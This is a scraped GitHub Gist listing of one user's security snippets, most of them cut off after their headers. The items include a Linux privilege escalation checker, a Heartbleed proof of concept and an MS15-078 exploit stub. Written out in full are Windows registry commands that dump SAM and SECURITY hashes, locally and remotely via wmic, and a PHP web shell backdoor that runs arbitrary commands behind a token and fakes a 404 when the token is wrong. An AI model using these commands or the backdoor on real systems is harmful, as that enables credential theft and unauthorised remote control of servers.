Skip to content

Instantly share code, notes, and snippets.

@sh1n0b1
sh1n0b1 / linuxprivchecker.py
Created July 13, 2015 23:36
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
@sh1n0b1
sh1n0b1 / hashdump.reg
Last active December 8, 2023 21:53
Windows local Hash Dump
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
#https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
#Do this remotely
wmic /node:"<computer_name>" /user:"<username>" /password:"<password>" process call create "cmd.exe /c reg save hklm\sam C:\temp\sam.save"
@sh1n0b1
sh1n0b1 / ssltest.py
Created April 8, 2014 07:53
Python Heartbleed (CVE-2014-0160) Proof of Concept
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
@sh1n0b1
sh1n0b1 / BinaryCookieReader.py
Created August 28, 2015 20:46
BinaryCookieReader
#*******************************************************************************#
# BinaryCookieReader: Written By Satishb3 (http://www.securitylearn.net) #
# #
# For any bug fixes contact me: satishb3@securitylearn.net #
# #
# Usage: Python BinaryCookieReader.py Cookie.Binarycookies-FilePath #
# #
# Safari browser and iOS applications store the persistent cookies in a binary #
# file names Cookies.binarycookies.BinaryCookieReader is used to dump all the #
# cookies from the binary Cookies.binarycookies file. #
@sh1n0b1
sh1n0b1 / s3.sh
Last active May 30, 2023 16:59
AWS S3 basic operations via AWS Access Key & Session Token
# You don't need Fog in Ruby or some other library to upload to S3 -- shell works perfectly fine
# This is how I upload my new Sol Trader builds (http://soltrader.net)
# Based on a modified script from here: http://tmont.com/blargh/2014/1/uploading-to-s3-in-bash
# ====================================================================================
# Aug 25, 2016 sh1n0b1
# Modified this script to support AWS session token
# More work will be done on this.
#
# S3KEY="ASIAJLFN####################"
@sh1n0b1
sh1n0b1 / shadowsocks.sh
Last active November 26, 2021 06:53
Shadowsocks Server deployment script for Debian 9 - Tools to bypass internet censorship
#!/bin/bash
#===============================================================================================
# System Required: Debian 9
# Description: Shadowsocks Server deployment script for Debian 9
# Author: https://github.com/sh1n0b1
#===============================================================================================
apt update
apt install -y curl sudo
sudo apt install -y shadowsocks-libev
sudo systemctl start shadowsocks-libev
@sh1n0b1
sh1n0b1 / urldecode.sh
Created March 1, 2019 21:07
URL decode one-liner command
alias urldecode='python -c "import sys, urllib as ul; print ul.unquote_plus(sys.argv[1])"'
@sh1n0b1
sh1n0b1 / php_shell.php
Created July 16, 2015 08:53
PHP backdoor
<?php
//$allowedToken = "509F7BA70C680DDAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$allowedToken = "<REPLACE_WITH_SOME_RANDOM_LONG_STRING>";
$token = $_GET['token'];
if ($token == $allowedToken){
echo system($_GET['cmd']);
}else{
header("HTTP/1.0 404 Not Found");
# Original source code: https://docs.aws.amazon.com/en_us/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html
import urllib, json
import requests
access_key = ''
secret_key = ''
session_token = ''
json_string_with_temp_credentials = '{'
json_string_with_temp_credentials += '"sessionId":"' + access_key + '",'
@sh1n0b1
sh1n0b1 / elevator.c
Created July 24, 2015 23:55
Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078
#include <stdio.h>
#include <string.h>
#include "lib.h"
#include <Wininet.h>
//#include "starter.h"
//include OTF
#include "font.h" // foofont is fetched from loader config struct
//#include "cert.h"